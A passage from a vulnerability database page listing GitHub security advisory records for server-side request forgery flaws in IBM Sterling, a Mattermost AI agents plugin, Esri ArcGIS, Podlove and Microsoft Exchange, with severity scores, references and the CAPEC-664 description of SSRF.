"details": "IBM Sterling Partner Engagement Manager 6.1.2, 6.2, and Cloud/SasS 22.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 223126.",
"id": "GHSA-p3qc-mh98-4vq5",
"modified": "2022-07-28T00:00:53Z",
"published": "2022-07-20T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22416"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/223126"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6604989"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P3QG-H7R3-79XR
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Mattermost versions 10.11.x <= 10.11.18, 11.6.x <= 11.6.3, 11.5.x <= 11.5.6 fail to validate attachment URLs against internal or private IP ranges in the Mattermost Agents plugin MCP server which allows an attacker with access to the MCP server in stdio mode to perform server-side request forgery (SSRF) and exfiltrate data from internal network services via supplying internal URLs as file attachments in post creation requests.. Mattermost Advisory ID: MMSA-2026-00635
{
"affected": [],
"aliases": [
"CVE-2026-4339"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:39Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 10.11.x \u003c= 10.11.18, 11.6.x \u003c= 11.6.3, 11.5.x \u003c= 11.5.6 fail to validate attachment URLs against internal or private IP ranges in the Mattermost Agents plugin MCP server which allows an attacker with access to the MCP server in stdio mode to perform server-side request forgery (SSRF) and exfiltrate data from internal network services via supplying internal URLs as file attachments in post creation requests.. Mattermost Advisory ID: MMSA-2026-00635",
"id": "GHSA-p3qg-h7r3-79xr",
"modified": "2026-06-26T15:32:15Z",
"published": "2026-06-26T15:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4339"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P3V9-28PC-Q5P2
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37Esri ArcGIS Server before 10.8 is vulnerable to SSRF in some configurations.
{
"affected": [],
"aliases": [
"CVE-2020-35712"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-26T00:15:00Z",
"severity": "CRITICAL"
},
"details": "Esri ArcGIS Server before 10.8 is vulnerable to SSRF in some configurations.",
"id": "GHSA-p3v9-28pc-q5p2",
"modified": "2022-05-24T17:37:21Z",
"published": "2022-05-24T17:37:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35712"
},
{
"type": "WEB",
"url": "https://support.esri.com/en/bugs/nimbus/QlVHLTAwMDEyODA2MA=="
},
{
"type": "WEB",
"url": "https://support.esri.com/en/technical-article/000022931"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P44R-3X7C-4H83
Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2026-04-28 21:34Server-Side Request Forgery (SSRF) vulnerability in Podlove Podlove Podcast Publisher.This issue affects Podlove Podcast Publisher: from n/a through 4.0.11.
{
"affected": [],
"aliases": [
"CVE-2024-32812"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-24T08:15:40Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Podlove Podlove Podcast Publisher.This issue affects Podlove Podcast Publisher: from n/a through 4.0.11.",
"id": "GHSA-p44r-3x7c-4h83",
"modified": "2026-04-28T21:34:52Z",
"published": "2024-04-24T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32812"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/podlove-podcasting-plugin-for-wordpress/wordpress-podlove-podcast-publisher-plugin-4-0-11-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P44W-FHQ3-V2JV
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Improper authorization in Microsoft Exchange Server allows an authorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2026-45503"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:26Z",
"severity": "HIGH"
},
"details": "Improper authorization in Microsoft Exchange Server allows an authorized attacker to disclose information over a network.",
"id": "GHSA-p44w-fhq3-v2jv",
"modified": "2026-06-09T18:30:51Z",
"published": "2026-06-09T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45503"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.